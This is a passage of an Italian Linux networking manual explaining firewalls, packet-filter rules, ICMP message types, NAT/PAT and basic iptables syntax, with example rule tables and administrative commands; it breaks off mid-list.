All'interno di una rete, il firewall è un componente che serve a proteggerne una parte rispetto al resto. Di solito, si tratta di qualcosa che si interpone tra una rete interna e una rete esterna, come Internet, per evitare un accesso indiscriminato alla rete interna da parte di nodi collocati all'esterno di questa.

Il firewall, a parte il significato letterale del nome, è una sorta di filtro (passivo o attivo) che si interpone al traffico di rete. Come tale, deve essere regolato opportunamente, in base agli obiettivi che si intendono raggiungere.

Figura 47.24. Il firewall è un filtro che si interpone tra una rete interna e una rete esterna.
  ```

Generalmente, i compiti del firewall vengono svolti da un nodo che nella rete si pone in qualità di router, munito di almeno due interfacce di rete: una per l'accesso alla rete esterna e una per la rete interna.

Si distinguono due tipi fondamentali di firewall i quali possono comunque integrarsi: filtri di pacchetto IP (a cui si aggiunge di solito la funzione di NAT[2]) e serventi proxy.

I filtri di pacchetto IP permettono di bloccare o abilitare selettivamente il traffico che attraversa il firewall, definendo i protocolli (o meglio, il tipo di pacchetto), gli indirizzi IP e le porte utilizzate. Questo sistema permette al massimo di controllare i tipi di servizio che possono essere utilizzati in una direzione e nell'altra, da e verso indirizzi IP determinati, ma senza la possibilità di annotare in un registro i collegamenti che sono stati effettuati (salvo eccezioni), né di poter identificare gli utenti che li utilizzano. In un certo senso, questo genere di firewall è come un router su cui si può soltanto filtrare il tipo dei pacchetti che si vogliono lasciare transitare.

I serventi proxy rappresentano una sorta di intermediario che si occupa di intrattenere le connessioni per conto di qualcun altro nella rete interna (sezione 47.2). Dal momento che il proxy ha un ruolo attivo nelle connessioni, può tenere un registro delle azioni compiute; eventualmente può anche tentare di identificare l'utente che lo utilizza.

47.4.1 Firewall in forma di filtri di pacchetto

Il filtro di pacchetto può intervenire al terzo o al massimo al quarto livello del modello ISO-OSI. In altri termini, è in grado di identificare e filtrare i pacchetti in base agli indirizzi IP, alle porte utilizzate e a poche altre informazioni, come elencato nella tabella 47.26 a titolo di esempio.

Figura 47.25. Un firewall che funziona come filtro di pacchetto IP, può interviene al terzo e quarto livello del modello ISO-OSI.

Tabella 47.26. Caratteristiche tipiche dei pacchetti che possono essere prese in considerazione per il filtro.

Caratteristica	Annotazioni
interfaccia di rete	l'interfaccia interessata nel nodo locale
indirizzo IP di origine	
indirizzo IP di destinazione	
protocollo	TCP, UDP, ICMP
porta di origine	TCP o UDP
porta di destinazione	TCP o UDP
messaggio ICMP	rappresentato da un numero
pacchetto frammentato	frammentazione a livello IP
pacchetto SYN	richiesta inizio di connessione TCP

Si tratta di una limitazione significativa che comporta i problemi maggiori nella configurazione corretta di un filtro del genere, in base ai fini che si tendono ottenere. Volendo esprimere la cosa attraverso un esempio molto semplice, un filtro di questo tipo non può intervenire esattamente ed esclusivamente sul «protocollo HTTP»; al massimo si può intercettare il transito dei pacchetti TCP in arrivo verso la porta 80, se si vuole impedire l'instaurarsi di connessioni a un servizio HTTP locale, oppure in uscita se si vuole impedire di raggiungere servizi esterni. Ma questo non vuol dire che si blocca il protocollo HTTP: è solo un intervento fatto in modo tale da arrivare a un risultato molto vicino a quello atteso.

Tabella 47.27. Messaggi ICMP.

Tipo	Codice	Nome del tipo	Nome del codice	Chi lo utilizza
0		echo-reply		risposta a un ping (pong)
1				
2				
3		destination-unreachable		traffico TCP e UDP
3	0		network-unreachable	
3	1		host-unreachable	
3	2		protocol-unreachable	
3	3		port-unreachable	
3	4		fragmentation-needed	
3	5		source-route-failed	
3	6		network-unknown	
3	7		host-unknown	
3	8			
3	9		network-prohibited	
3	10		host-prohibited	
3	11		TOS-network-unreachable	
3	12		TOS-host-unreachable	
3	13		communication-prohibited	
3	14		host-precedence-violation	
3	15		precedence-cutoff	
4		source-quench		
5		redirect		instradamento dei pacchetti
5	0		network-redirect	
5	1		host-redirect	
5	2		TOS-network-redirect	

Tipo	Codice	Nome del tipo	Nome del codice	Chi lo utilizza
5	3		TOS-host-redirect	
6				
7				
8		echo-request		ping
9		router-advertisement		
10		router-solicitation		
11		time-exceeded (ttl-exceeded)		traceroute
11	0		ttl-zero-during-transit	
11	1		ttl-zero-during-reassembly	
12		parameter-problem		
12	0		ip-header-bad	
12	1		required-option-missing	
13		timestamp-request		
14		timestamp-reply		
15		information-request		
16		information-reply		
17		address-mask-request		
18		address-mask-reply		

Un'altra cosa importante da considerare è il fatto che i pacchetti frammentati a livello di protocollo IP, possono essere identificati come frammenti, mentre diventa impossibile conoscere le altre caratteristiche (TCP o UDP).

47.4.1.1 Punto di applicazione e significato dell'intercettazione

Teoricamente, ammesso che l'applicazione utilizzata come filtro (assieme al kernel) sia abbastanza sofisticata da permetterlo, si può intervenire in tre punti differenti: nel transito dei pacchetti da un'interfaccia a un'altra, nei pacchetti in arrivo attraverso una data interfaccia e nei pacchetti in uscita. La distinzione è importante perché i risultati pratici che si ottengono possono essere molto diversi a seconda del punto in cui si inserisce il filtro.

Figura 47.28. Punti di inserzione di un filtro di pacchetto.

Anche senza fare un riferimento preciso alle interfacce di rete coinvolte, si pensi al caso in cui si intercettano in uscita i pacchetti ICMP di tipo 8, *echo-request*, allo scopo di bloccarne il transito. In tal caso, ci si impedisce di usare il Ping verso l'esterno; al contrario, intercettando lo stesso tipo di pacchetto, ma in ingresso, il suo blocco impedisce ai nodi esterni di usare il

Ping verso il proprio elaboratore. Se invece l'intercettazione avvenisse nella fase di transito, questo potrebbe servire solo a impedire il Ping che riguarda altri nodi, oppure solo l'interfaccia del lato opposto.

I pacchetti intercettati possono essere trattati in modi differenti:

- possono essere lasciati passare;
- possono essere bloccati;
- possono essere bloccati, inviando all'origine un messaggio di rifiuto attraverso un pacchetto ICMP;
- possono essere semplicemente tenuti sotto controllo (contabilizzati).

Eventualmente, la contabilizzazione del traffico può essere implicita in ogni tipo di intercettazione.

A seconda dell'organizzazione logica del firewall, può darsi che l'intercettazione di un pacchetto in ingresso, implichi la stessa cosa sia per i pacchetti destinati al firewall, sia per i pacchetti che lo attraverserebbero per raggiungere altre destinazioni, oppure le due cose potrebbero essere distinte. Nello stesso modo potrebbe esserci una differenza di funzionamento nell'intercettazione in uscita. È evidente che, a seconda del tipo di firewall utilizzato, deve essere chiarito in modo preciso il campo di azione di ogni filtro.

47.4.1.2 Ricomposizione dei pacchetti frammentati

In generale, un nodo di rete che svolge funzioni di firewall dovrebbe trovarsi in un «passaggio obbligato» della rete, per evitare che i pacchetti possano utilizzare percorsi alternativi. In questo senso, è opportuno che tale nodo possa ricomporre i pacchetti frammentati a livello IP, in modo da riunire assieme tutte le informazioni necessarie a identificare i pacchetti, proprio per poter attuare effettivamente il controllo che il firewall deve fare.

In mancanza della possibilità di ricomporre i pacchetti frammentati, il firewall può individuare nei frammenti solo gli indirizzi IP, del mittente e del destinatario, oltre al riconoscere che si tratta di frammenti. Diventa impossibile l'identificazione delle porte, TCP o UDP, oppure i messaggi ICMP.

47.4.2 Esempi di utilizzo di firewall

È il caso di raccogliere qualche esempio schematico del modo in cui si potrebbe configurare un firewall che utilizza la tecnica del filtro di pacchetto. Le impostazioni vengono indicate in forma di tabella, secondo lo schema seguente:

Azione	Pos.	Prot.	IP srg		IP dst		ICMP	Int.	
1	2	3	4	5	6	7	8	9	10

I campi delle righe della tabella hanno il significato descritto nell'elenco che segue, tenendo conto che i valori mancanti vengono considerati indifferenti:

1. azione del filtro: blocco, rifiuto o altro;

2. posizione del filtro: in ingresso, in uscita, in transito o altro;
3. protocollo: TCP, UDP, ICMP;
4. indirizzi IP di origine;
5. porte TCP o UDP di origine;
6. indirizzi IP di destinazione;
7. porte TCP o UDP di destinazione;
8. messaggio ICMP, indicando il tipo e il codice eventuale (***tipo***[/***codice***]);
9. interfaccia di rete coinvolta;
10. altre caratteristiche.

Si osservi in particolare che gli indirizzi IP si indicano nella forma '***indirizzo / maschera***', dove la maschera si esprime attraverso un intero che rappresenta una quantità iniziale di bit da impostare a uno. Inoltre, gli indirizzi e le porte possono essere prefissati da un punto esclamativo che indica la negazione logica, ovvero tutti gli altri indirizzi o tutte le altre porte.

- Si impedisce l'ingresso a ogni pacchetto proveniente dagli indirizzi 192.168.*.*:

Azione	Pos.	Prot.	IP srg	IP dst	ICMP	Int.
blocco	ingresso		192.168.0.0/16	0/0		

- Si impedisce l'ingresso ai pacchetti ICMP provenienti dagli indirizzi 192.168.*.*:

Azione	Pos.	Prot.	IP srg	IP dst	ICMP	Int.
blocco	ingresso	ICMP	192.168.0.0/16	0/0		

- Si impedisce l'ingresso dei pacchetti provenienti dall'interfaccia ***x***, contenenti come mittente indirizzi tipici delle reti private. In pratica, si presume che sia impossibile ricevere pacchetti di questo tipo da tale interfaccia, perché la rete privata è connessa su un'altra; pertanto, pacchetti del genere possono essere solo contraffatti.

Azione	Pos.	Prot.	IP srg	IP dst	ICMP	Int.
blocco	ingresso		10.0.0.0/8	0/0		***x***
blocco	ingresso		172.16.0.0/12	0/0		***x***
blocco	ingresso		192.168.0.0/16	0/0		***x***

- Si impedisce l'attraversamento di pacchetti della classe D e E:

Azione	Pos.	Prot.	IP srg	IP dst	ICMP	Int.
blocco	transito		224.0.0.0/3	0/0		

- Consente l'attraversamento ai pacchetti TCP per raggiungere presumibilmente un servizio TELNET:

Azione	Pos.	Prot.	IP srg	IP dst	ICMP	Int.
consente	transito	TCP	0/0	0/0 23		

- Blocca il transito delle comunicazioni riferite alla gestione remota di applicazioni X. Si presume si possano gestire un massimo di 10 serventi grafici simultaneamente.

Azione	Pos.	Prot.	IP srg		IP dst		ICMP	Int.
blocco	transito	TCP	0/0	6000-6009	0/0			
blocco	transito	TCP	0/0		0/0	6000-6009		

- Blocca l'ingresso e l'uscita delle comunicazioni riferite alla gestione remota di applicazioni X. In questo caso, si protegge il nodo che funge da firewall.

Azione	Pos.	Prot.	IP srg		IP dst		ICMP	Int.
blocco	ingresso	TCP	0/0	6000-6009	0/0			
blocco	uscita	TCP	0/0		0/0	6000-6009		

47.4.3 Annotazioni finali sulla gestione di un firewall

Vanno tenute a mente alcune cose quando si configura un firewall attraverso il filtro di pacchetto, per evitare di compromettere le funzionalità che invece si vogliono mantenere.

47.4.3.1 Pacchetti ICMP

È già stato accennato il fatto che non si deve bloccare il transito dei pacchetti del protocollo ICMP. Il messaggio di tipo 3, *destination-unreachable*, è indispensabile nei protocolli TCP e UDP per sapere che un certo indirizzo non è raggiungibile; bloccandolo, si attende senza sapere il perché.

Il protocollo ICMP viene usato anche nella determinazione automatica della dimensione massima dei pacchetti (*MTU discovery*). Mancando la possibilità di ricevere questi pacchetti ICMP, il funzionamento delle comunicazioni potrebbe essere compromesso seriamente.

47.4.3.2 Pacchetti UDP

I protocolli che si basano su UDP sono usati frequentemente nell'ambito di servizi locali, come NIS e NFS. Tra le altre cose, questi servizi tendono a fare viaggiare informazioni particolarmente delicate che non dovrebbero essere accessibili dall'esterno. Per questa ragione, è normale che venga impedito il transito dei pacchetti UDP. Tuttavia, capita che proprio il servizio DNS (per la risoluzione dei nomi), possa averne bisogno.

Azione	Pos.	Prot.	IP srg		IP dst		ICMP	Int.
blocco	transito	UDP	0/0		0/0			

Per la precisione, il servizio DNS può usare pacchetti UDP o connessioni TCP, a seconda della dimensione di questi. Così, il blocco eventuale di tale servizio si avvertirebbe solo in modo intermittente, complicando l'individuazione del problema.

Generalmente, un servizio DNS collocato in una posizione tale per cui non possa inviare o ricevere pacchetti UDP dall'esterno, si deve avvalere necessariamente di un altro collocato al di fuori di tale blocco. Infatti, in questo modo userebbe solo il protocollo TCP.

Eventualmente, il firewall potrebbe essere configurato espressamente per consentire il transito di questi pacchetti legati al servizio DNS. Nell'esempio seguente si suppone che il servizio DNS in questione sia collocato nel nodo 196.1.2.3:

Azione	Pos.	Prot.	IP srg		IP dst		ICMP	Int.
accetta	transito	UDP	0/0	53	196.1.2.3			
accetta	transito	TCP	0/0	53	196.1.2.3			
accetta	transito	UDP	196.1.2.3		0/0	53		
accetta	transito	TCP	196.1.2.3		0/0	53		

47.4.4 NAT/PAT

Il NAT, o *Network address translation*, è una tecnica descritta nell'RFC 1631, con la quale un nodo di rete speciale acquista funzionalità simili a quelle di un router, intervenendo però sui pacchetti, allo scopo di sostituire gli indirizzi IP reali con altri indirizzi più convenienti.

Il problema a cui fa riferimento l'RFC 1631 riguarda la possibilità di riutilizzare dinamicamente gli indirizzi IP riservati alle reti private, permettendo ugualmente a tali reti di accedere all'esterno, pur non essendo questi univoci a livello globale. Si osservi l'esempio della figura 47.39.

Figura 47.39. Esempio di router NAT: l'indirizzo IP 196.1.2.3 è un esempio che sta a rappresentare un indirizzo univoco riconosciuto nella rete esterna.

In condizioni normali, gli indirizzi IP 192.168.1.* non hanno la possibilità di essere riconosciuti univocamente nella rete globale, pertanto i nodi relativi non hanno la possibilità di accedere all'esterno. Attraverso il meccanismo NAT e le sue varianti, si può ottenere questo risultato anche se poi è necessario accettare qualche compromesso.

47.4.4.1 Conversione dinamica degli indirizzi IP

Nella sua impostazione più semplice, un router NAT può gestire un numero ristretto di indirizzi IP univoci, da abbinare dinamicamente a degli indirizzi IP locali privati.

Figura 47.40. Utilizzo dinamico di un gruppo ristretto di indirizzi IP univoci.

Osservando la figura 47.40 si può vedere che il nodo che ha il ruolo di router NAT dispone di un accesso all'esterno con quattro diversi indirizzi IP univoci. In questo modo, in base alle

richieste provenienti dalla rete interna, può abbinare temporaneamente un indirizzo univoco a un indirizzo privato interno. Per esempio, in un dato momento, i pacchetti provenienti o destinati all'indirizzo 192.168.1.1 potrebbero essere modificati in modo da rimpiazzare tale indirizzo con quello univoco 196.1.2.3.

Figura 47.41. Una connessione TCP rielaborata da un router NAT.

In questo caso, il router NAT si limita a sostituire ai pacchetti gli indirizzi IP di origine o di destinazione, in base all'attribuzione dinamica stabilita.

La conversione degli indirizzi può anche essere dinamica solo in parte, in cui alcuni indirizzi univoci sono abbinati stabilmente ad altrettanti indirizzi della rete privata. Questo permette a tali nodi di essere raggiungibili anche da un accesso esterno, senza che debbano essere loro per primi a instaurare una connessione.

47.4.4.2 Conversione dinamica delle porte: PAT

Oltre alla sostituzione degli indirizzi, un router NAT più evoluto può gestire anche la sostituzione delle porte TCP e UDP; in tal caso si parla anche di PAT, ovvero di *Port address translation*. Spesso, la realtà è tale per cui diventa indispensabile questo approccio, disponendo di un solo indirizzo IP univoco.

Figura 47.42. Due connessioni TCP indipendenti, rielaborate attraverso un procedimento NAT/PAT.

La figura 47.42 mostra il caso in cui i nodi 192.168.1.1 e 192.168.1.2 instaurano due connessioni TELNET indipendenti attraverso un router NAT/PAT. In questo caso, il NAT/PAT non si limita a sostituire ai pacchetti gli indirizzi IP di origine o di destinazione, intervenendo anche sui numeri di porta TCP.

Utilizzando il meccanismo NAT/PAT in questo modo, considerando che gli accessi iniziano sempre dalla parte della rete interna, per raggiungere indirizzi esterni, è normale che le porte di origine siano sempre non privilegiate, cioè siano maggiori o uguali a 1024. Il router NAT/PAT potrebbe anche essere utilizzato per dirigere le connessioni originate dall'esterno e dirette a porte determinate (probabilmente nel gruppo di porte privilegiato) a nodi ben precisi nella rete locale, solitamente per raggiungere dei servizi realizzati lì. Per fare questo occorre quindi che il router NAT/PAT annoti delle ridirezioni statiche riferite alla richiesta di porte particolari. Per esempio, la figura 47.43 mostra un router NAT/PAT che ridirige sistematicamente

le connessioni provenienti dall'esterno, dirette alla porta 80, verso il nodo locale 192.168.1.1 alla stessa porta 80, dal momento che questo offre un servizio HTTP.

Figura 47.43. Ridirezione del traffico diretto a un servente HTTP interno.

47.4.4.3 Problemi

Il meccanismo NAT/PAT, come qualunque altra forma di rimaneggiamento dei pacchetti allo scopo di sostituire gli indirizzi IP o le porte TCP/UDP, funziona bene solo quando i protocolli utilizzati a livello di sessione, ovvero il quinto del modello ISO-OSI, non prendono iniziative autonome allo scopo di gestire gli indirizzi e le porte. In altri termini, tutto funziona bene se non si inseriscono informazioni sugli indirizzi e sulle porte al di sopra del livello del TCP o di UDP.

Il classico esempio problematico è dato dall'FTP che negozia con la controparte l'instaurazione di una connessione TCP aggiuntiva, attraverso informazioni contenute nell'area «dati» dei pacchetti. In questo modo, un router NAT/PAT ingenuo riuscirebbe a trasferire solo la prima connessione TCP.

Evidentemente, un router NAT/PAT evoluto dovrebbe essere consapevole, non solo dei protocolli IP, TCP e UDP, ma anche di tutti i protocolli che si inseriscono al di sopra di questi, in modo da intervenire opportunamente.

Un'ultima cosa da considerare riguarda anche il problema dei pacchetti frammentati, che devono essere ricomposti quando si utilizza il meccanismo NAT/PAT.

47.5 Firewall con kernel Linux

Il kernel Linux può gestire direttamente il filtro dei pacchetti IP, cosa che quindi rappresenta la scelta più semplice per la realizzazione di un firewall con questo sistema operativo. A parte le limitazioni che può avere un tale tipo di firewall, il suo inserimento nella rete non genera effetti collaterali particolari, dal momento che poi non c'è bisogno di utilizzare software speciale per gli elaboratori che lo devono attraversare, come avviene invece nel caso di un firewall di tipo proxy.

Trattandosi di un'attività del kernel, è necessario che questo sia stato predisposto in fase di compilazione, oppure sia accompagnato dai moduli necessari (sezione 8.3.7). Inoltre, è oppor-

tuno aggiungere anche le funzionalità di ricomposizione dei pacchetti frammentati, oltre che le funzionalità relative al NAT (*Network address translation*).

L'attraversamento dei pacchetti tra un'interfaccia e l'altra è controllato dalla funzionalità di *forwarding-gatewaying*, che in passato andava inserita esplicitamente nel kernel. In generale, il kernel non permette questo attraversamento che deve essere abilitato attraverso un comando particolare. Per IPv4:

```
# echo 1 > /proc/sys/net/ipv4/ip_forward[Invio]
```

Per IPv6:

```
# echo 1 > /proc/sys/net/ipv6/conf/all/forwarding[Invio]
```

47.5.1 Schema generale di funzionamento del kernel

I kernel Linux 2.4.* e Linux 2.6.* suddividono le funzionalità di trattamento dei pacchetti IP in «tabelle». Nell'ambito di ogni tabella ci possono essere diversi punti di controllo, denominati *chain*, i quali possono essere programmati per catturare i pacchetti IP e deciderne la loro sorte. A seconda delle circostanze, un pacchetto IP può essere sottoposto alla verifica di uno o più di questi punti di controllo, i quali vengono programmati in base a delle ***regole***. Quando un pacchetto sottoposto a controllo corrisponde a una regola, la sua sorte viene definita dall'***obiettivo*** di questa (ammesso che sia stato definito).

La tabella relativa alla gestione del firewall è denominata '**`filter`**' e si compone di tre punti di controllo, denominati '**`INPUT`**', '**`FORWARD`**' e '**`OUTPUT`**', a indicare rispettivamente i pacchetti in ingresso, quelli in transito e quelli in uscita. Gli obiettivi più frequenti sono due, '**`ACCEPT`**' e '**`DROP`**', riferiti rispettivamente al permesso di attraversamento del punto di controllo, oppure al blocco ed eliminazione del pacchetto intercettato.

Figura 47.44. Schema di intercettazione da parte dei punti di controllo relativi alla gestione del firewall.

Un pacchetto proveniente da un'interfaccia qualunque, diretto allo stesso firewall, è soggetto al controllo di ingresso; un pacchetto passante viene sottoposto al controllo di inoltro; un pacchetto che deve uscire attraverso un'interfaccia del firewall, perché generato da un processo locale, è sottoposto al controllo di uscita.

Quando un pacchetto IP viene analizzato in un punto di controllo e all'interno di questo non c'è alcuna regola che lo prenda in considerazione, la sua sorte è stabilita dalla ***politica predefinita*** per quel contesto (*policy*). Generalmente, questa politica è tale per cui gli viene concesso il transito.

47.5.2 IPTables per l'amministrazione del firewall

La gestione del filtro di pacchetto IP dei kernel 2.4.* e 2.6.* avviene per mezzo di IPTables,[3] ovvero l'eseguibile '**`iptables`**' per il controllo di IPv4 e '**`ip6tables`**' per il controllo di IPv6. Dal momento che le funzionalità di firewall del kernel sono piuttosto estese, la sintassi di questo programma è molto articolata, per cui se ne può apprendere l'utilizzo solo gradualmente.

Inoltre, è bene chiarire subito che le funzionalità di firewall del kernel non possono essere definite attraverso un file di configurazione; quindi, al massimo, tutto quello che si può fare è la realizzazione di uno script contenente una serie di comandi con IPTables.

IPTables interviene su un ***elenco di regole*** riferite alle funzionalità di controllo dei pacchetti IP del kernel, dove la gestione particolare riferita alle funzionalità di firewall riguarda la tabella '**`filter`**'. Il meccanismo è comunque simile a quello della gestione della tabella degli instradamenti di un router. L'ordine in cui sono elencate tali regole è importante, quindi si deve poter distinguere tra l'inserimento di una regola all'inizio, alla fine o in un'altra posizione dell'elenco esistente (elenco riferito sempre a un certo punto di controllo).

Salvo eccezioni particolari, descritte nel contesto appropriato, la sintassi di massima per l'utilizzo di IPTables è quella seguente:

`iptables` [`-t` ***tabella***] ***opzione_di_comando*** ***punto_di_controllo*** [***regola***] [***obiettivo***]

`ip6tables` [`-t` ***tabella***] ***opzione_di_comando*** ***punto_di_controllo*** [***regola***] [***obiettivo***]

La tabella serve a stabilire il contesto di intervento; il nome dell'eseguibile ('**`iptables`**' o '**`ip6tables`**') definisce il tipo di protocolli di competenza (IPv4 o IPv6). La tabella predefinita è proprio quella riferita alle funzionalità di firewall, ovvero '**`filter`**'.

In generale, l'utilizzo di '**`iptables`**' o di '**`ip6tables`**' è uguale, salvo le differenze che riguardano il modo di rappresentare gli indirizzi e salvo piccole eccezioni. Nel capitolo si accenna alle differenze solo quando necessario, tenendo conto che di solito basta sostituire il nome dell'eseguibile per cambiare il contesto.

L'opzione di comando serve a stabilire il tipo di intervento nel sistema di gestione del firewall. L'elenco seguente si riferisce alle opzioni che permettono la cancellazione o l'inserimento delle regole in un punto di controllo:

`-F` `--flush`	elimina tutte le regole del punto di controllo specificato, oppure di tutta la tabella;
`-D` `--delete`	elimina una o più regole dal punto di controllo specificato;
`-A` `--append`	aggiunge una regola in coda a quelle del punto di controllo selezionato;
`-I` `--insert`	inserisce una regola in una posizione stabilita del punto di controllo selezionato;
`-R` `--replace`	sostituisce una regola del punto di controllo selezionato.

Altre opzioni non modificano le regole; in particolare:

`-L` `--list`	elenca le regole di un uno o di tutti i punti di controllo della tabella;
`-P` `--policy`	cambia la politica predefinita per il punto di controllo specificato.

Altre opzioni vengono mostrate quando più opportuno.

Come già accennato, il punto di controllo viene indicato attraverso un nome. Si tratta di '**`INPUT`**', '**`FORWARD`**' e '**`OUTPUT`**', i quali intuitivamente fanno riferimento all'ingresso, al transito e all'uscita.

IPTables permette di gestire delle regole all'interno di contenitori aggiuntivi a cui si fa riferimento a partire da regole inserite nei punti di controllo normali. Nella terminologia di IPTables si parla sempre di *chain*, sia per indicare i punti di controllo standard, sia per indicare questi elenchi di regole aggiuntive.

Infine, una regola comune è conclusa con l'indicazione di un obiettivo. L'obiettivo è la definizione della sorte da dare al pacchetto intercettato, indicata attraverso una parola chiave. Le più importanti per iniziare ad apprendere la configurazione del firewall sono: '**`ACCEPT`**', '**`DROP`**' e '**`REJECT`**'.

`ACCEPT`	Consente il transito del pacchetto.
`DROP`	Impedisce il transito del pacchetto, limitandosi a ignorarlo.

`REJECT`	Impedisce il transito del pacchetto notificando all'origine il rifiuto (viene inviato un messaggio ICMP specificante che il pacchetto è stato rifiutato).

Segue la descrizione di alcuni esempi.

```
iptables [-t filter] -A INPUT regola -j DROP
```

Lo schema mostra l'aggiunta di una regola di ingresso, non meglio definita, per la quale viene applicato l'obiettivo '**`DROP`**'.

```
iptables [-t filter] -R INPUT 1 regola -j DROP
```

Lo schema mostra la sostituzione della prima regola di ingresso con un'altra regola non meglio definita, per la quale viene applicato l'obiettivo '**`DROP`**'.

```
iptables [-t filter] -I INPUT 1 regola -j ACCEPT
```

Lo schema mostra l'inserimento nella prima posizione di una regola di ingresso per la quale viene consentito il transito dei pacchetti ('**`ACCEPT`**').

```
iptables [-t filter] -D INPUT 2
```

Questo schema mostra l'eliminazione della seconda regola di ingresso.

```
iptables [-t filter] -F INPUT
```

Questo schema mostra l'eliminazione di tutte le regole di ingresso.

```
iptables [-t filter] -F
```

Questo schema mostra l'eliminazione di tutte le regole di tutti i punti di controllo.

```
iptables [-t filter] -P INPUT DROP
```

Cambia la politica predefinita di ingresso specificando che, in mancanza di regole, i pacchetti devono essere bloccati.

Negli esempi è stato sottolineato l'uso facoltativo dell'opzione '**`-t`**' per identificare precisamente la tabella su cui intervenire. Dal momento che la tabella '**`filter`**' è quella predefinita, nel capitolo non viene più utilizzata tale opzione.

47.5.2.1 Un po' di confidenza con IPTables per la gestione del firewall

Data la complessità delle funzionalità di filtro di pacchetto del kernel, anche l'uso di IPTables è piuttosto articolato. Prima di iniziare a vedere come si possono definire le regole, conviene fare qualche esperimento che serva a introdurre l'uso di questo programma.

Gli esempi fanno riferimento a IPv4, ma dovrebbero andare bene anche per IPv6, salva la sostituzione degli indirizzi.

La prima cosa da sapere è il modo in cui si ottiene la visualizzazione della situazione dei punti di controllo che compongono la tabella.

`# iptables -L` [*Invio*]

In questo modo si ottiene la situazione di tutti i punti di controllo (ed eventualmente anche dei raggruppamenti di regole aggiuntivi). Inizialmente si dovrebbe osservare la situazione seguente:

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

Quello che si vede è la situazione normale del sistema prima di iniziare a inserire delle regole; tutto quello che c'è sono le politiche predefinite per ogni punto di controllo.

Se si è interessati a conoscere solo la situazione di un punto di controllo particolare, basta aggiungere il nome di questo. Per esempio, per limitare il risultato al solo punto di controllo di ingresso si può usare il comando seguente:

`# iptables -L INPUT` [*Invio*]

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
```

Per verificare l'effetto del blocco del traffico attraverso uno dei punti di controllo si può agire sommariamente sulla politica predefinita; per esempio si può bloccare il transito dei pacchetti in ingresso con il comando seguente:

`# iptables -P INPUT DROP` [*Invio*]

Questo tipo di blocco è totale e interviene anche nell'interfaccia virtuale che identifica il sistema locale: '`lo`'. Basta provare a fare un ping verso il nodo locale per accorgersi che non si ottiene più alcuna risposta.[4]

`$ ping localhost` [*Invio*]

Un risultato simile si potrebbe ottenere utilizzando l'obiettivo '**REJECT**'. In alternativa si può intervenire nel punto di controllo di uscita; nell'esempio seguente si ripristina prima la politica di '**ACCEPT**' per i pacchetti in ingresso.

iptables -P INPUT ACCEPT [*Invio*]

iptables -P OUTPUT DROP [*Invio*]

Con il ping si ottiene in pratica lo stesso risultato, con la differenza che i pacchetti trasmessi vengono bloccati prima di poter uscire dal processo che li genera.

Se invece si interviene nel punto di controllo di inoltro (o di transito), si avverte l'effetto solo nei pacchetti che devono attraversare il firewall da un'interfaccia a un'altra. È bene ribadire che questi possono transitare solo se la cosa viene abilitata attraverso il comando:

echo 1 > /proc/sys/net/ipv4/ip_forward [*Invio*]

oppure, per IPv6:

echo 1 > /proc/sys/net/ipv6/conf/all/forwarding [*Invio*]

Il comando seguente, per quanto inutile, impedisce il transito dei pacchetti tra le interfacce, attraverso la gestione del firewall, con la modifica della politica predefinita del punto di controllo relativo:

iptables -P FORWARD DROP [*Invio*]

Prima di proseguire è bene rimettere a posto le politiche predefinite dei tre punti di controllo:

iptables -P INPUT ACCEPT [*Invio*]

iptables -P OUTPUT ACCEPT [*Invio*]

iptables -P FORWARD ACCEPT [*Invio*]

47.5.2.2 Opzioni di contorno

Prima di affrontare l'analisi delle regole che possono essere inserite nei punti di controllo riferiti alla gestione del firewall, è meglio descrivere subito l'utilizzo di alcune opzioni di contorno che hanno un'importanza minore, oppure che si possono utilizzare indipendentemente dal tipo di protocollo a cui si fa riferimento con una regola.

`-v` `--verbose`	Questa opzione si utilizza generalmente assieme all'opzione di comando '**-L**', allo scopo di rendere più dettagliata l'informazione che si ottiene.
`-n` `--numeric`	Quando IPTables viene usato per ottenere delle informazioni, con questa opzione si fa in modo che le informazioni numeriche non siano convertite in nomi (per esempio a proposito degli indirizzi IP e delle porte TCP o UDP).

`-p [!] {tcp|udp|icmp|all}`
 	
`--protocol [!] {tcp|udp|icmp|all}`
	Stabilisce il tipo di protocollo della regola che viene definita. La parola chiave '**`all`**' rappresenta qualsiasi protocollo ed è l'impostazione predefinita se questo non viene specificato. Le parole chiave che identificano i protocolli possono essere espresse anche attraverso lettere maiuscole. Il punto esclamativo, se utilizzato, serve a fare riferimento a tutti i protocolli fuorché quello indicato.

`--source-port [!]` {***porta* | *intervallo_di_porte***} `--sport [!]` {***porta* | *intervallo_di_porte***}	Stabilisce la porta o le porte di ingresso coinvolte, nel caso dei protocolli TCP o UDP.
`--destination-port [!]` {***porta* | *intervallo_di_porte***} `--dport [!]` {***porta* | *intervallo_di_porte***}	Stabilisce la porta o le porte di destinazione coinvolte, nel caso dei protocolli TCP o UDP.
`-i [!]` ***interfaccia*** `--in-interface [!]` ***interfaccia***	Indica il nome dell'interfaccia di rete attraverso la quale sono ricevuti i pacchetti della regola che si sta definendo. Quando questa opzione non viene usata, si intende fare riferimento implicitamente a qualunque interfaccia di rete. Non è necessario che l'interfaccia indicata esista già nel momento in cui si inserisce la regola. Inoltre, è possibile indicare un gruppo di interfacce, sostituendo il numero finale con il segno '**`+`**'. Per esempio, '**`ppp+`**' rappresenta tutte le interfacce '**`ppp0`**', '**`ppp1`**', ecc. Questo comportamento riguarda anche l'opzione '**`-o`**', riferita all'interfaccia di uscita.
`-o [!]` ***interfaccia*** `--out-interface [!]` ***interfaccia***	Indica il nome dell'interfaccia di rete attraverso la quale sono inviati i pacchetti della regola che si sta definendo. Quando questa opzione non viene usata, si intende fare riferimento implicitamente a qualunque interfaccia di rete.
`-j` ***obiettivo*** `--jump` ***obiettivo***	Questa opzione serve a definire l'obiettivo, attraverso una parola chiave tra quelle consuete, oppure il riferimento a un gruppo di regole creato a parte, oppure ancora permette di specificare un'estensione. Un'estensione è un obiettivo speciale che può essere utilizzato in base al contesto, oppure a seguito di una richiesta esplicita di caricamento di un modulo con l'opzione '**`-m`**'. Viene chiarito in seguito di cosa si tratta.

Segue la descrizione di alcuni esempi.

- `# iptables -L INPUT -v` [*Invio*]

  Elenca le regole di ingresso in modo dettagliato.

- `# iptables -L OUTPUT -n` [*Invio*]

  Elenca le regole di uscita senza tradurre informazioni numeriche nei nomi corrispondenti.

- ```
